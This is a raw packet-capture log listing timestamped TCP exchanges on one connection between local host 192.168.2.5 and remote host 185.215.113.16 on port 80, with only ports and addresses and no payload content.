Oct 29, 2024 05:02:38.863281012 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.863306999 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.863328934 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.863343954 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.863353014 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.863362074 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.863379002 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.863385916 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.863400936 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.863419056 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.898796082 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.898917913 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.898956060 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.898956060 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.898979902 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.898991108 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899008036 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899036884 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899053097 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899089098 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899100065 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899123907 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899128914 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899158955 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899166107 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899193048 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899199963 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899235010 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899247885 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899283886 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899293900 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899333000 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899357080 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899393082 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899403095 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899425030 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899430990 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899467945 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899478912 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899513960 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899522066 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899554968 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899561882 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899594069 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899597883 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899631977 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899645090 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899663925 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899672031 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899699926 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899707079 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899734974 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.899738073 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.899776936 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.900156975 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.900203943 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.900212049 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.900249004 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.900252104 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.900290012 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.900302887 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.900337934 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.900343895 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.900372982 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.900373936 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.900407076 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.900414944 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.900443077 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.900454044 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.900486946 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.934808016 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.934847116 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.934874058 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.934878111 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.934890985 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.934902906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.934920073 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.934947014 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936026096 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936072111 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936079025 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936100960 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936120033 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936136007 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936139107 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936175108 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936181068 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936204910 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936233044 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936233044 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936239004 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936271906 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936333895 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936378956 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936408043 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936430931 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936448097 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936470032 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936547041 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936598063 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936609983 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936635017 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936654091 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936657906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936671972 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936697006 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936914921 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936949968 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.936960936 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.936989069 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.937002897 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.937035084 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.937047005 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.937069893 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.937074900 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.937104940 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.937110901 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.937141895 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.937447071 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.937479973 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.937488079 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.937524080 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.937534094 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.937570095 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.937576056 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.937606096 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.937612057 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.937638998 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.937647104 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.937679052 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.937679052 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.937710047 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.937720060 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.937751055 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.938019991 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.938065052 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.938075066 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.938118935 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.938128948 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.938168049 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.938170910 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.938201904 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.938210011 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.938237906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.938245058 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.938270092 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.938278913 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.938302040 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.938312054 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.938342094 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.938621998 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.938657045 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.938666105 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.938693047 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.938695908 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.938743114 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.980873108 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.980937958 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.980967045 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.980987072 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.980995893 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.980995893 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981014967 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981029034 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981053114 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981064081 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981080055 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981096983 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981116056 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981131077 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981199026 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981237888 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981260061 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981276989 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981293917 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981307983 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981390953 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981406927 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981424093 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981426954 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981445074 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981448889 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981462002 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981462955 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981477976 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981498003 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981771946 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981787920 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981806040 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981808901 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981822014 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.981827974 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981838942 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.981851101 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.982002974 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.982018948 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.982037067 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.982038021 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.982054949 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.982065916 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.982072115 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.982103109 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.982302904 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.982319117 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.982340097 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.982348919 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.982350111 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.982364893 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.982382059 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.982393980 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.982395887 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.982409954 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.982424021 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.982425928 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.982441902 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.982443094 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:38.982460976 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:38.982475042 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.012746096 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.012772083 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.012787104 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.012800932 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.012816906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.012821913 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.012866974 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.012891054 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.012917995 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.012929916 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.012933016 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.012948990 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.012955904 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.012968063 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.012974977 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.012980938 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.012986898 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.013009071 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.013015032 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.013771057 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.013787031 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.013802052 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.013816118 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.013828993 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.013843060 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.013855934 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.013871908 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.013886929 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.013900042 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.013901949 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.013906956 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.013926029 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.013935089 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.013941050 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.013942957 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.013958931 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.013968945 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.013972998 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.013988018 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.014013052 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.017771959 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.017806053 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.017818928 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.017833948 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.017843962 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.017867088 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.017870903 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.017894983 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.017898083 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.017910004 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.017924070 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.017941952 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.017960072 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.018053055 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.018084049 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.018098116 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.018099070 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.018121004 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.018134117 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.018270969 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.018332958 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.018342018 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.018357038 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.018373013 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.018381119 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.018394947 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.018415928 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.018481016 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.018518925 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.018547058 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.018587112 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.053911924 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.053951979 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.053985119 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.053997040 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.055248976 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055304050 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.055309057 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055356979 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.055358887 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055404902 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.055412054 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055457115 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.055469990 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055505991 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055506945 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.055548906 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.055716991 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055746078 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055768967 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.055779934 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055788040 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.055814028 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055834055 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.055845022 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055857897 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.055881977 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.055898905 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055933952 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055941105 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.055969000 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.055977106 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.056005001 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.056011915 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.056040049 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.056046009 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.056072950 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.056078911 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.056107998 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.056113958 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.056152105 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.056294918 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.056338072 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.056353092 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.056400061 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.056405067 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.056448936 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.056462049 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.056504965 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.056514025 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.056548119 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.056552887 CET	49778	80	192.168.2.5	185.215.113.16
